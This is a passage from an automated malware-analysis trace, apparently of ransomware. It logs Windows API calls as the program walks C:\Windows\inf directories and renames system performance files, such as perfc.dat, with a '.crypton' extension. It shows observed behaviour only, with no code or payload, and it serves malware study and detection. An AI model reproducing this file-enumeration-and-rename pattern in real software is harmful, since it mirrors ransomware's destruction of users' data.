lpLocalTime=0x4abc24) returned 1 [0254.772] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0254.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0254.773] CloseHandle (hObject=0x178) returned 1 [0254.778] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x15386400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15386400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.779] GetFileType (hFile=0x178) returned 0x1 [0254.784] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x15386400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15386400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.785] GetFileType (hFile=0x178) returned 0x1 [0254.789] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x15386400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15386400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.792] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\inf\\msdtc bridge 3.0.0.0\\_transactionbridgeperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\_TransactionBridgePerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\msdtc bridge 3.0.0.0\\_transactionbridgeperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0254.806] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x153d26c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153d26c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.808] GetFileType (hFile=0x178) returned 0x1 [0254.812] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x153d26c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153d26c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.813] GetFileType (hFile=0x178) returned 0x1 [0254.817] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x153d26c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153d26c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.818] GetFileType (hFile=0x178) returned 0x1 [0254.822] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x153f8820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153f8820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.824] GetFileType (hFile=0x178) returned 0x1 [0254.828] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x153f8820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153f8820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.828] GetFileType (hFile=0x178) returned 0x1 [0254.835] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x153f8820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153f8820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.836] GetFileType (hFile=0x178) returned 0x1 [0254.841] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1541e980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1541e980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.843] GetFileType (hFile=0x178) returned 0x1 [0254.847] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1541e980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1541e980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.848] GetFileType (hFile=0x178) returned 0x1 [0254.852] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1541e980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1541e980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.853] GetFileType (hFile=0x178) returned 0x1 [0254.857] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x15444ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15444ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.858] GetFileType (hFile=0x178) returned 0x1 [0254.862] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x15444ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15444ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.863] GetFileType (hFile=0x178) returned 0x1 [0254.868] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000E\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x15444ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15444ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.869] GetFileType (hFile=0x178) returned 0x1 [0254.874] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1546ac40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1546ac40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.876] GetFileType (hFile=0x178) returned 0x1 [0254.880] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1546ac40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1546ac40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.881] GetFileType (hFile=0x178) returned 0x1 [0254.885] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x15490da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15490da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.886] GetFileType (hFile=0x178) returned 0x1 [0254.891] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x15490da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15490da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.891] GetFileType (hFile=0x178) returned 0x1 [0254.895] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x15490da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15490da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.897] GetFileType (hFile=0x178) returned 0x1 [0254.902] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x154b6f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154b6f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.904] GetFileType (hFile=0x178) returned 0x1 [0254.909] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x154b6f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154b6f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.910] GetFileType (hFile=0x178) returned 0x1 [0254.914] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x154b6f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154b6f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.915] GetFileType (hFile=0x178) returned 0x1 [0254.920] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x154dd060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154dd060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.921] GetFileType (hFile=0x178) returned 0x1 [0254.926] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x154dd060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154dd060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.926] GetFileType (hFile=0x178) returned 0x1 [0254.932] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x155031c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x155031c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.932] GetFileType (hFile=0x178) returned 0x1 [0254.937] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x155031c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x155031c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.937] GetFileType (hFile=0x178) returned 0x1 [0254.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x155031c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x155031c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.944] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\inf\\msdtc bridge 4.0.0.0\\_transactionbridgeperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\_TransactionBridgePerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\msdtc bridge 4.0.0.0\\_transactionbridgeperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0254.953] GetFileType (hFile=0x1f0) returned 0x1 [0254.958] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\PERFLIB\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x15529320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15529320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.959] GetFileType (hFile=0x178) returned 0x1 [0254.966] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1554f480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1554f480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.989] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfc.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfc.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfc.dat.crypton"), dwFlags=0x2) returned 1 [0255.029] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat.crypton"), dwFlags=0x2) returned 1 [0255.220] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat.crypton"), dwFlags=0x2) returned 1 [0255.395] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat.crypton"), dwFlags=0x2) returned 1 [0255.399] GetFileType (hFile=0x178) returned 0x1 [0255.404] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x15979b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15979b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0255.423] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat.crypton"), dwFlags=0x2) returned 1 [0255.443] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat.crypton"), dwFlags=0x2) returned 1 [0256.474] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat.crypton"), dwFlags=0x2) returned 1 [0256.932] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.crypton" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat.crypton"), dwFlags=0x2) returned 1 [0256.936] GetFileType (hFile=0x1f0) returned 0x1 [0256.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\PNRPSvc\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1680e1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1680e1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0256.942] GetFileType (hFile=0x178) returned 0x1 [0256.946] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\PNRPSvc\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x16834320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x16834320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0256.947] GetFileType (hFile=0x178) returned 0x1 [0256.951] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\PNRPSvc\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x16834320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x16834320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0256.958] GetFileType (hFile=0x1f0) returned 0x1 [0256.962] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\rdyboost\\*", lpFindFileData=0x4abd70 | out: 